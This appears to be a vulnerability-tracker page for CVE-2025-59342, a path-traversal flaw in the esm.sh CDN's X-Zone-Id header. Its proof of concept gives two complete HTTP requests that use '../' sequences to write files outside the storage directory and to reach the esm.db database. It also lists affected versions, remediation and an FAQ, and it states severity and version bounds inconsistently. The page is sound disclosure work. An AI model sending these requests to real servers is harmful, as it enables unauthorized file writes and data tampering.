CVE-2025-59342: esm.sh writes arbitrary files via path traversal in `X-Zone-Id` header

Published Sep 17, 2025
·
Updated

Summary

A path-traversal flaw in the handling of the X-Zone-Id HTTP header allows an attacker to cause the application to write files outside the intended storage location. The header value is used to build a filesystem path but is not properly canonicalized or restricted to the application’s storage base directory. As a result, supplying ../ sequences in X-Zone-Id causes files to be written to arbitrary directories (example observed: ~/.esmd/modules/transform/<id>/ instead of ~/.esmd/storage/modules/transform).

Severity: Medium

Component / Endpoint:

POST /transform — handling of X-Zone-Id header

The vulnerable code is in https://github.com/esm-dev/esm.sh/blob/main/server/router.go#L116 and https://github.com/esm-dev/esm.sh/blob/main/server/router.go#L411

Impact: Arbitrary file creation / overwrite outside intended storage directory (file write to attacker-controlled path). Possible remote code execution, persistence, tampering with application files, or facilitating further path-traversal attacks.

---

Proof of Concept (POC)

Request (attacker-supplied X-Zone-Id contains path traversal):

POST /transform HTTP/1.1 Host: localhost:8888 User-Agent: Den/8.7.1 Accept: / Connection: keep-alive Referer: http://localhost:9999/ Content-Type: application/json X-Zone-Id: ../../modules/transform/c245626ef6ca0fd9ee37759c5fac606c6ec99daa/ Content-Length: 325

{ "filename": "example2.js", "lang": "js", "code": "console.log('hello');", "importMap": { "imports": { "react": "https://esm.sh/react", "react-dom": "https://esm.sh/react-dom" } }, "jsxImportSource": "react", "target": "es2022", "sourceMap": "external", "minify": true } <img width="2496" height="1214" alt="Screenshot 2025-09-16 at 21 40 57" src="https://github.com/user-attachments/assets/f878c3f0-5d7d-410c-97ac-20116f5496db" />

Observed result: file written to ~/.esmd/modules/transform/c245626ef6ca0fd9ee37759c5fac606c6ec99daa/example2.js instead of the intended ~/.esmd/storage/modules/transform/.

This can be trigger with another path traversal request below

GET /+c245626ef6ca0fd9ee37759c5fac606c6ec99daa./../../../esm.db?.css HTTP/1.1 Host: localhost:8888 User-Agent: localhost Accept: / Connection: keep-alive X-Zone-Id: ../ Referer: http://localhost:9999/

<img width="2516" height="710" alt="Screenshot 2025-09-16 at 21 37 07" src="https://github.com/user-attachments/assets/1fcfbed3-c1d2-4093-82d8-4afda225c685" />

---

Remediation

Simply remove any .. in the X-Zone-Id header before actually process the file.

Credits

- Ai Ho (Jessie) - CL Yang

Other sources

esm.sh is a nobuild content delivery network(CDN) for modern web development. In 136 and earlier, a path-traversal flaw in the handling of the X-Zone-Id HTTP header allows an attacker to cause the application to write files outside the intended storage location. The header value is used to build a filesystem path but is not properly canonicalized or restricted to the application’s storage base directory. As a result, supplying ../ sequences in X-Zone-Id causes files to be written to arbitrary directories.

NVD

Affected Software

2 affected components
esm.sh esm.sh<136
go/github.com/esm-dev/esm.sh<=136

Event History

Sep 17, 2025
CVE Published
via MITRE·05:59 PM
Data Sourced
via MITRE·05:59 PM
DescriptionWeakness
Data Sourced
via NVD·06:15 PM
DescriptionSeverityWeakness
Advisory Published
via GitHub·07:03 PM
Data Sourced
via GitHub·07:03 PM
DescriptionWeaknessAffected Software
Dec 16, 2025
Exploit Published
via ExploitDB·12:00 AM
Known Exploited
07:20 AM
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2025-59342?

CVE-2025-59342 is classified as a high severity vulnerability due to its potential for path traversal attacks.

2

How do I fix CVE-2025-59342?

To fix CVE-2025-59342, upgrade to a version later than 136 of esm.sh that addresses the path traversal flaw.

3

What causes the CVE-2025-59342 vulnerability?

CVE-2025-59342 is caused by improper handling of the X-Zone-Id HTTP header, allowing file writing outside the intended location.

4

What software versions are affected by CVE-2025-59342?

CVE-2025-59342 affects all versions of esm.sh up to, but not including, version 137.

5

What are the potential impacts of exploiting CVE-2025-59342?

Exploiting CVE-2025-59342 can lead to unauthorized file access and modification, potentially compromising system integrity.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203